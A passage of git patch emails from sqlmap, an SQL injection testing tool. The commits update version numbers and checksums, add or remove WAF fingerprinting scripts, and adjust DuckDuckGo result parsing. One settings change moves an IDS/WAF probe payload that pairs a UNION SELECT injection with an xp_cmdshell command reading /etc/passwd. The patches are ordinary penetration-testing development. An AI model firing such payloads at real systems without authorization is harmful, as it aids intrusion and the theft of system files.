3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -5e0f2b028357ec0b63678438fca8c4d5 lib/core/settings.py +e6b4873ae0e82e43a62dcdfd670feb61 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py From 6cdb90ddf87b5c19d678e09b5b4b7d080ef3dbf6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 14 Jan 2019 11:35:54 +0100 Subject: [PATCH 050/800] Same sentence in Cloudflare (too) --- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- waf/stackpath.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 315c58ad703..29e78af1697 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.48" +VERSION = "1.3.1.49" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 7da8b442314..7517354006f 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -e6b4873ae0e82e43a62dcdfd670feb61 lib/core/settings.py +4f9aafb24e5b12eb078b1b68719d9afe lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -457,7 +457,7 @@ c842d298e61a87b32668c8402a0d87b5 waf/sitelock.py a840fcd2bb042694f9aab2859e7c9b30 waf/sonicwall.py 45683bfe7a428f47745416c727a789bd waf/sophos.py ed1ecabfa8396e70494b0a3d70a22eb1 waf/squarespace.py -4a11ba8e5f3995b35f5fc189b8c2692e waf/stackpath.py +8ace2ad70a4bba8825c8538e349839da waf/stackpath.py 74bd52941b606d15f1a6cdc7b52f761c waf/sucuri.py 205beb7ed5e70119f8700a9e295b6a4a waf/tencent.py ef6f83952ce6b5a7bbb19f9b903af2b6 waf/teros.py diff --git a/waf/stackpath.py b/waf/stackpath.py index 2e12b9c2a05..74478ccc9ae 100644 --- a/waf/stackpath.py +++ b/waf/stackpath.py @@ -14,7 +14,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval = all(_ in (page or "") for _ in ("This website is using a security service to protect itself from online attacks", "You performed an action that triggered the service and blocked your request")) + retval = all(_ in (page or "") for _ in ("You performed an action that triggered the service and blocked your request",)) if retval: break From 40f067aa17aafca9421b3f482d474ce5ee0c4452 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 15 Jan 2019 00:41:00 +0100 Subject: [PATCH 051/800] Adding new WAF scripts (merging from identYwaf - same author) --- lib/core/settings.py | 2 +- txt/checksum.md5 | 11 ++++++++--- waf/barracuda.py | 3 ++- waf/bitninja.py | 21 +++++++++++++++++++++ waf/greywizard.py | 25 +++++++++++++++++++++++++ waf/incapsula.py | 3 +-- waf/janusec.py | 21 +++++++++++++++++++++ waf/netscaler.py | 21 +++++++++++++++++++++ waf/perimeterx.py | 19 +++++++++++++++++++ 9 files changed, 119 insertions(+), 7 deletions(-) create mode 100644 waf/bitninja.py create mode 100644 waf/greywizard.py create mode 100644 waf/janusec.py create mode 100644 waf/netscaler.py create mode 100644 waf/perimeterx.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 29e78af1697..7ec84b35b4c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.49" +VERSION = "1.3.1.50" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 7517354006f..8b809361590 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -4f9aafb24e5b12eb078b1b68719d9afe lib/core/settings.py +80cfb89595be410e564c7501c530c58e lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -404,8 +404,9 @@ b6bc83ae9ea69cf96e9389bde8250c7c waf/airlock.py 425f2599f57ab81b4fff67e6b442cccc waf/armor.py 33b6e6793ed3add457d7c909ec599ad3 waf/asm.py 9dbec5d674ed4c762ffc9bc3ab402739 waf/aws.py -4fd9a8e3aac364fe5509b23e7eb5a448 waf/barracuda.py +e57a22864477ad23ae6a3d308f9b5410 waf/barracuda.py 742f8c9b7f3a858e11dfd2ce3df65c6e waf/binarysec.py +1712d76bd4adb705f3317ff5908acdcd waf/bitninja.py 2608fbe2c80fae99bb09db1f93d80cdd waf/bluedon.py 8385218d8a1863dbfd4274db36880dfe waf/cerber.py 5ae64cad95b7f904c350cc81230c3bd1 waf/chinacache.py @@ -423,10 +424,12 @@ a8412619d7f26ed6bc9e0b20a57b2324 waf/edgecast.py 588d2f9a8f201e120e74e508564cb487 waf/fortiweb.py 0e9eb20967d2dde941cca8c663a63e1f waf/generic.py 4ea580dd1b9679bd733866976ad5d81e waf/godaddy.py +27385b15477031a3aff25df601a1ff51 waf/greywizard.py 256a7ea2c1cd2745fe788cf8f6123f8a waf/imunify360.py -4c4d480c155ae99262043c80a76ec1d5 waf/incapsula.py +f4e3fb185b92483832d14b532f467b35 waf/incapsula.py fb6be55d21a70765e35549af2484f762 waf/__init__.py a3ee375714987acccc26d1b07c2e8af7 waf/isaserver.py +e6994165497cef25d7a785cd3d4a3c64 waf/janusec.py ce9cf35919a92d65347bb74ca0c5c86f waf/jiasule.py f44ed04eeb4287c11ce277703ec7d72d waf/knownsec.py 8c3977c543ca4ec6d4231f604217cf94 waf/kona.py @@ -434,11 +437,13 @@ d4f36e44f496f4d51baa3241eabc60fd waf/malcare.py 509af267f45485f3cb1c839fa040ff07 waf/modsecurity.py 78af8e791207db9723a14bddeb7524af waf/naxsi.py 504ade4d32bdbbd2932eebb07f57c3eb waf/netcontinuum.py +8004b57e9b8e19060aae5b82ecb87472 waf/netscaler.py 96e1902b7e4297173d519b00c86f6a02 waf/newdefend.py d03dfe93a14c966b88f5baf59ce2b091 waf/ninjafirewall.py 69fc40e85751279e9018d643742db04e waf/nsfocus.py a59aff03a5b3fb40ea0feb3489677040 waf/onmessageshield.py 532b6f8de357a9b88a313944e1756538 waf/paloalto.py +f9de9375ffd0447ba93b215493d327a1 waf/perimeterx.py 2979bb64c24256a83625d75a385dde9b waf/profense.py 8de0d46738335a4e498c4ac9038ac3c3 waf/proventia.py ac60456fe7af4eb501d448910e98ee4b waf/radware.py diff --git a/waf/barracuda.py b/waf/barracuda.py index 0e769a65b17..a8e7754c6d6 100644 --- a/waf/barracuda.py +++ b/waf/barracuda.py @@ -16,9 +16,10 @@ def detect(get_page): retval = False for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) + page, headers, _ = get_page(get=vector) retval = re.search(r"\Abarra_counter_session=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None retval |= re.search(r"(\A|\b)barracuda_", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None + retval |= "when this page occurred and the event ID found at the bottom of the page" in (page or "") if retval: break diff --git a/waf/bitninja.py b/waf/bitninja.py new file mode 100644 index 00000000000..648446388c6 --- /dev/null +++ b/waf/bitninja.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "BitNinja (BitNinja)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval = any(_ in (page or "") for _ in ("alt=\"BitNinja|Security check by BitNinja", "your IP will be removed from BitNinja", "Visitor anti-robot validation")) + if retval: + break + + return retval diff --git a/waf/greywizard.py b/waf/greywizard.py new file mode 100644 index 00000000000..b26f4415063 --- /dev/null +++ b/waf/greywizard.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Greywizard (Grey Wizard)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, _ = get_page(get=vector) + retval = re.search(r"\Agreywizard", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= any(_ in (page or "") for _ in ("We've detected attempted attack or non standard traffic from your IP address", "Grey Wizard")) + if retval: + break + + return retval diff --git a/waf/incapsula.py b/waf/incapsula.py index 6ece7005ed8..fb8b8655a97 100644 --- a/waf/incapsula.py +++ b/waf/incapsula.py @@ -19,8 +19,7 @@ def detect(get_page): page, headers, _ = get_page(get=vector) retval = re.search(r"incap_ses|visid_incap", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None retval |= re.search(r"Incapsula", headers.get("X-CDN", ""), re.I) is not None - retval |= any(_ in (page or "") for _ in ("Incapsula incident ID", "_Incapsula_Resource?", "?subject=WAF Block Page:")) - retval |= all(_ in (page or "") for _ in ("Application Firewall Error", "If you feel you have been blocked in error, please contact Customer Support")) + retval |= "Incapsula incident ID" in (page or "") retval |= all(_ in (page or "") for _ in ("Error code 15", "This request was blocked by the security rules")) retval |= re.search(r"(?i)incident.{1,100}?\b\d{19}\-\d{17}\b", page or "") is not None retval |= headers.get("X-Iinfo") is not None diff --git a/waf/janusec.py b/waf/janusec.py new file mode 100644 index 00000000000..442236e7cdf --- /dev/null +++ b/waf/janusec.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Janusec Application Gateway (Janusec)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval = all(_ in (page or "") for _ in ("Reason:", "by Janusec Application Gateway")) + if retval: + break + + return retval diff --git a/waf/netscaler.py b/waf/netscaler.py new file mode 100644 index 00000000000..c3a5472fd34 --- /dev/null +++ b/waf/netscaler.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "NetScaler AppFirewall (Citrix)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval |= any(_ in (page or "") for _ in ("Application Firewall Block Page", "Violation Category: APPFW_", "AppFW Session ID", "Access has been blocked - if you feel this is in error, please contact the site administrators quoting the following")) + if retval: + break + + return retval diff --git a/waf/perimeterx.py b/waf/perimeterx.py new file mode 100644 index 00000000000..f034dd5306c --- /dev/null +++ b/waf/perimeterx.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "PerimeterX (PerimeterX, Inc.)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval = "https://www.perimeterx.com/whywasiblocked" in (page or "") + + return retval From 21ce71bee82bdb3e5091c19b42b55c30703e4e9e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 16 Jan 2019 10:32:56 +0100 Subject: [PATCH 052/800] Removing junk --- lib/core/settings.py | 2 +- txt/checksum.md5 | 3 +-- waf/teros.py | 24 ------------------------ 3 files changed, 2 insertions(+), 27 deletions(-) delete mode 100644 waf/teros.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 7ec84b35b4c..b3224bb00f0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.50" +VERSION = "1.3.1.51" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 8b809361590..4bb02d0d0bf 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -80cfb89595be410e564c7501c530c58e lib/core/settings.py +540a2dab2853ea2599996b12183a7c2f lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -465,7 +465,6 @@ ed1ecabfa8396e70494b0a3d70a22eb1 waf/squarespace.py 8ace2ad70a4bba8825c8538e349839da waf/stackpath.py 74bd52941b606d15f1a6cdc7b52f761c waf/sucuri.py 205beb7ed5e70119f8700a9e295b6a4a waf/tencent.py -ef6f83952ce6b5a7bbb19f9b903af2b6 waf/teros.py ba0fb1e6b815446b9d6f30950900fc80 waf/trafficshield.py 1c15216824f96e23a76591ac29eb6d7d waf/urlmaster.py 876c746d96193071271cb8b7e00e1422 waf/urlscan.py diff --git a/waf/teros.py b/waf/teros.py deleted file mode 100644 index 1d4c8019da7..00000000000 --- a/waf/teros.py +++ /dev/null @@ -1,24 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval = re.search(r"\Ast8(id|_wat|_wlf)", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None - if retval: - break - - return retval From 669afdd81b37bc40c111a7e0537ad83bda5f96b5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 16 Jan 2019 14:38:50 +0100 Subject: [PATCH 053/800] Adding new waf script --- lib/core/settings.py | 2 +- txt/checksum.md5 | 5 +++-- waf/asm.py | 2 -- waf/securesphere.py | 24 ++++++++++++++++++++++++ 4 files changed, 28 insertions(+), 5 deletions(-) create mode 100644 waf/securesphere.py diff --git a/lib/core/settings.py b/lib/core/settings.py index b3224bb00f0..469ea9059fe 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.51" +VERSION = "1.3.1.52" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 4bb02d0d0bf..2e74299f48a 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -540a2dab2853ea2599996b12183a7c2f lib/core/settings.py +d678e90ba0f7ce756b88a0540e5e7db9 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -402,7 +402,7 @@ b6bc83ae9ea69cf96e9389bde8250c7c waf/airlock.py 34b8ec9f438d7daa56aa016e6c09fadb waf/anquanbao.py 7ab1a7cd51a02899592f4f755d36a02e waf/approach.py 425f2599f57ab81b4fff67e6b442cccc waf/armor.py -33b6e6793ed3add457d7c909ec599ad3 waf/asm.py +2d03af372a8e660e67437438264a144d waf/asm.py 9dbec5d674ed4c762ffc9bc3ab402739 waf/aws.py e57a22864477ad23ae6a3d308f9b5410 waf/barracuda.py 742f8c9b7f3a858e11dfd2ce3df65c6e waf/binarysec.py @@ -454,6 +454,7 @@ d2d9718de217dd07d9e66b2e6ad61380 waf/safe3.py 213062db202a6eb0939a6674f96be551 waf/safedog.py 34440ee94fcff88b4158e86635176547 waf/secureentry.py ac0728ddb7a15b46b0eabd78cd661f8c waf/secureiis.py +c6cbe2de808d7a6b614a9ba3c85b4141 waf/securesphere.py ba37e1c37fa0e3688873f74183a9cb9c waf/senginx.py 2602a8baed4da643e606a379e4dc75db waf/shieldsecurity.py fc21ce1e6e597e44818c03d9cb859e83 waf/siteground.py diff --git a/waf/asm.py b/waf/asm.py index e34b0671c21..057bd3154c4 100644 --- a/waf/asm.py +++ b/waf/asm.py @@ -17,8 +17,6 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) retval = "The requested URL was rejected. Please consult with your administrator." in (page or "") - retval |= all(_ in (page or "") for _ in ("This page can't be displayed. Contact support for additional information", "The incident ID is:")) - retval |= re.search(r"(?i)Support.ID", page or "") is not None and re.search(r"\b\d{19}\b", page or "") is not None retval |= all(_ in (page or "") for _ in ("security.f5aas.com", "Please enable JavaScript to view the page content")) if retval: break diff --git a/waf/securesphere.py b/waf/securesphere.py new file mode 100644 index 00000000000..3de61f9c0cb --- /dev/null +++ b/waf/securesphere.py @@ -0,0 +1,24 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "SecureSphere Web Application Firewall (Imperva)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval = re.search(r"

Error

.+?#FEEE7A.+?Error|Contact support for additional information.
The incident ID is: (\\d{19}|N/A)", page or "", re.I) is not None + if retval: + break + + return retval From 7eb45b9d8f29dc266da141b2198361a5677abd7b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 17 Jan 2019 15:06:00 +0100 Subject: [PATCH 054/800] Patch related to the #3438 --- lib/core/settings.py | 4 ++-- lib/utils/search.py | 17 ++++++++++++++--- txt/checksum.md5 | 4 ++-- 3 files changed, 18 insertions(+), 7 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 469ea9059fe..f3a79d53de5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.52" +VERSION = "1.3.1.53" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -109,7 +109,7 @@ GOOGLE_REGEX = r"webcache\.googleusercontent\.com/search\?q=cache:[^:]+:([^+]+)\+&cd=|url\?\w+=((?![^>]+webcache\.googleusercontent\.com)http[^>]+)&(sa=U|rct=j)" # Regular expression used for extracting results from DuckDuckGo search -DUCKDUCKGO_REGEX = r'"u":"([^"]+)' +DUCKDUCKGO_REGEX = r' Date: Thu, 17 Jan 2019 15:12:31 +0100 Subject: [PATCH 055/800] Minor patch related to the 3438 --- lib/core/settings.py | 2 +- lib/utils/search.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index f3a79d53de5..e36b35215ab 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.53" +VERSION = "1.3.1.54" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/search.py b/lib/utils/search.py index 280fe2502c4..24ef82449f4 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -163,7 +163,7 @@ def _search(dork): errMsg = "unable to connect" raise SqlmapConnectionException(errMsg) - retVal = [urllib.unquote(match.group(1)) for match in re.finditer(regex, page, re.I | re.S)] + retVal = [urllib.unquote(match.group(1).replace("&", "&")) for match in re.finditer(regex, page, re.I | re.S)] if not retVal and "issue with the Tor Exit Node you are currently using" in page: warnMsg = "DuckDuckGo has detected 'unusual' traffic from " diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 66a4baa36d5..4b8788d21f8 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -bba284b24e810f3f7b319ee06a7844bc lib/core/settings.py +bb703eabbfa9794c9438392dd7ac4d76 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -114,7 +114,7 @@ fb6be55d21a70765e35549af2484f762 lib/utils/__init__.py 2a40a6bd1779f7db5199f089411b1c1c lib/utils/pivotdumptable.py 5a8902fd6fa94ea73cf44952f9ed5a57 lib/utils/progress.py a41136344768902f82b2855e88fd228d lib/utils/purge.py -ba40e595754bc6e8ad16e944cb578d99 lib/utils/search.py +631aa9e193e459875528fee78e9a770b lib/utils/search.py 8d6b244ca3d6f99a9d6cd8c1856ccfeb lib/utils/sqlalchemy.py a90c568a9b88eaea832a77581bd39d85 lib/utils/timeout.py 164f830baad3e13b226ee57d44d69dfa lib/utils/versioncheck.py From b5db4dc15a7c191066278629e052251c98f5fafb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 18 Jan 2019 14:31:37 +0100 Subject: [PATCH 056/800] Trivial update (comment) --- lib/core/settings.py | 8 ++++---- txt/checksum.md5 | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e36b35215ab..e73bdb8d41b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.54" +VERSION = "1.3.1.55" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -526,9 +526,6 @@ # Template used for common column existence check BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)" -# Payload used for checking of existence of IDS/IPS/WAF (dummier the better) -IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#" - # Data inside shellcodeexec to be filled with random string SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" @@ -538,6 +535,9 @@ # Value to look for in response to CHECK_INTERNET_ADDRESS CHECK_INTERNET_VALUE = "IP Address Details" +# Payload used for checking of existence of WAF/IPS (dummier the better) +IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#" + # Vectors used for provoking specific WAF/IPS behavior(s) WAF_ATTACK_VECTORS = ( "", # NIL diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 4b8788d21f8..c82a00bd3a3 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -bb703eabbfa9794c9438392dd7ac4d76 lib/core/settings.py +0a47c8e9c509d2e499ff60054b38d804 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py From 01dba5c50593b0e7973f8f8dfa687a6d72261e90 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 20 Jan 2019 15:13:43 +0100 Subject: [PATCH 057/800] Removing obsolete WAF --- lib/core/settings.py | 2 +- txt/checksum.md5 | 3 +-- waf/binarysec.py | 25 ------------------------- 3 files changed, 2 insertions(+), 28 deletions(-) delete mode 100644 waf/binarysec.py diff --git a/lib/core/settings.py b/lib/core/settings.py index e73bdb8d41b..2b9614e0c6f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.55" +VERSION = "1.3.1.56" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index c82a00bd3a3..f159116e7c6 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -0a47c8e9c509d2e499ff60054b38d804 lib/core/settings.py +0328a4b5e5880289b867aa143387b9a9 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -405,7 +405,6 @@ b6bc83ae9ea69cf96e9389bde8250c7c waf/airlock.py 2d03af372a8e660e67437438264a144d waf/asm.py 9dbec5d674ed4c762ffc9bc3ab402739 waf/aws.py e57a22864477ad23ae6a3d308f9b5410 waf/barracuda.py -742f8c9b7f3a858e11dfd2ce3df65c6e waf/binarysec.py 1712d76bd4adb705f3317ff5908acdcd waf/bitninja.py 2608fbe2c80fae99bb09db1f93d80cdd waf/bluedon.py 8385218d8a1863dbfd4274db36880dfe waf/cerber.py diff --git a/waf/binarysec.py b/waf/binarysec.py deleted file mode 100644 index 31905d1de51..00000000000 --- a/waf/binarysec.py +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -import re - -from lib.core.enums import HTTP_HEADER -from lib.core.settings import 